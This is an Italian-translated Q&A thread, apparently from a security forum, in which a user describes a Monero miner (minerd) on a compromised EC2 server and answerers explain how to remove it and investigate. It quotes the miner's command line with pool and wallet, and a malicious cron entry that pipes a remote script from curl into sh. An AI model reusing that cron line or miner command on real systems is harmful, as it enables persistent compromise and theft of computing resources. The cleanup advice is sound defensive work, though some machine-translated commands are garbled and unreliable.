Come posso uccidere malware minatore su un'istanza AWS EC2? [duplicare]

6

Ho un'istanza AWS EC2 con RHEL 7.2 che sembra essere stata compromessa da un BitCoin CPU Miner. Quando eseguo ps -eo pcpu,args --sort=-%cpu | head , mostra che c'è un minatore della CPU che occupa più del 90% dell'utilizzo della CPU.

%CPU COMMAND
99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 47TS1NQvebb3Feq91MqKdSGCUq18dTEdmfTTrRSGFFC2fK85NRdABwUasUA8EUaiuLiGa6wYtv5aoR8BmjYsDmTx9DQbfRX -p x

Viene visualizzato anche quando eseguo top -bn2 |sed -n '7,25'p -

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
21863 root      20   0  237844   3300   1012 S 42.0  0.1   3:49.55 minerd

Continuo a provare a rimuovere minerd da /opt/ ma continua a ruotare di nuovo. Precedentemente avevo KHK75NEOiq33 e una yam directory. Sono stato in grado di eliminarli ma non minerd .

Come posso rimuovere permanentemente questo? Ho anche provato a eliminare il PID individualmente con sudo kill -9 e sudo kill -2 . C'è qualche antivirus che posso usare per sbarazzarmene?

EDIT - La domanda è stata contrassegnata come possibile duplicato per un'altra domanda . Tuttavia, la differenza è che sto indagando su un malware specifico. Ho trovato la soluzione alla domanda, che pubblicherò qui sotto.

    
posta Anish Sana 07.07.2016 - 13:29
fonte

3 risposte

10

Ho trovato la soluzione per rimuovere minerd . Ho avuto la fortuna di trovare lo script effettivo che è stato utilizzato per infettare il mio server. Tutto quello che dovevo fare era rimuovere gli elementi posizionati da questo script -

  1. Su monkeyoto su suggerimento , ho bloccato tutte le comunicazioni con il server del pool di mining - iptables -A INPUT -s xmr.crypto-pool.fr -j DROP e iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP .
  2. Rimosso il cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh da /var/spool/cron/root e /var/spool/cron/crontabs/root .
  3. Rimossa la directory /opt/yam .
  4. Rimosso /root/.ssh/KHK75NEOiq .
  5. Eliminato i file /opt/minerd e /opt/KHK75NEOiq33 .
  6. Arrestato il processo minerario - pkill minerd .
  7. Arrestato lady - service lady stop .

Ho eseguito ps -eo pcpu,args --sort=-%cpu | head , top -bn2 |sed -n '7,25'p e ps aux | grep minerd dopo questo e il malware non è stato visto da nessuna parte.

Devo ancora capire come ha ottenuto l'accesso al sistema, ma sono stato in grado di disabilitarlo in questo modo.

    
risposta data 07.07.2016 - 20:24
fonte
7

Il tuo primo obiettivo è (se non vuoi reinstallare) è determinare in che modo è riuscito ad arrivare in primo luogo. Se l'aggressore fosse furbo, avrebbe eseguito "timestomp" per modificare le date dei binari. Minimizzare SSH fa poco se si esegue una versione vulnerabile di Wordpress, o Joomla o qualcosa di diverso. Ad esempio, c'è stato un exploit Nagios che è stato usato da qualcuno per eseguire minatore . Quindi l'obiettivo ... "Determinare cosa è in esecuzione, perché è in esecuzione ed è vulnerabile?"

In secondo luogo, si desidera bloccare tutte le comunicazioni da e verso il server del pool di dati:

iptables -A INPUT -S xmr.crypto-pool.fr -j DROP

Quindi come si determina cosa è stato modificato / modificato / vulnerabile? Devi capire il tuo sistema. Che cosa fa, perché lo fa e chi ha bisogno di accedervi. Cercherò i miei crontabs per vedere cosa, se qualcosa sta iniziando. Potresti eseguire: service --status-all per vedere quali servizi sono in esecuzione / in corso e analizzarli. / opt / minerd sembra essere un file, checksum quel file e potresti creare uno script per cercare qualsiasi cosa che chiama quel file, o qualsiasi file corrispondente, ad esempio: find / | xargs grep -i minerd o find / | xargs grep -i CHECKSUM_of_MINERD (Tieni presente che questo è un brutale modo di cercare all'interno dei file).

In terzo luogo, controlla i tuoi registri. Se si sta eseguendo un server web, inizierei con i log degli errori (error_logs) e cercherò più 403 e 404 da un indirizzo seguito da una connessione corretta in access_log. Controlla il percorso che è stato accettato (ad es. 200: /var/www/nagios_or_something_vulnerable/config.php) e guarda all'interno della directory. Ci sono molti approcci per trovare queste informazioni, ma nessuno qui può darti una risposta completa in quanto possiamo solo dedurre informazioni basate sulla quantità limitata di informazioni che pubblichi.

"Ho un file chiamato minerd che inizia!" Scava per quel file. (%codice%). "Usa questa strana corda!" (%codice%). "Fa una connessione alla porta 8080!" (%codice%). "Si sta collegando a questo indirizzo!" ( find /|xargs grep -i minerd ... Ora hai una linea base di cose che puoi fare.

    
risposta data 07.07.2016 - 15:04
fonte
5

Il problema è che il minerd è probabilmente il carico utile di alcuni (altri) malware, quindi non si può veramente dire quale altro è stato compromesso sul sistema. Forse non c'è nessun altro residente nel sistema, e ti stai solo infettando ogni volta che uccidi il minatore.

In alternativa c'è qualche processo di gestione / dropper che ha aperto una back-door sul tuo server.

La scommessa più sicura è quella di ricreare il server. Ma se vuoi scansionarlo puoi ottenere Sophos Anti-Virus gratuitamente da link

    
risposta data 07.07.2016 - 14:41
fonte

Leggi altre domande sui tag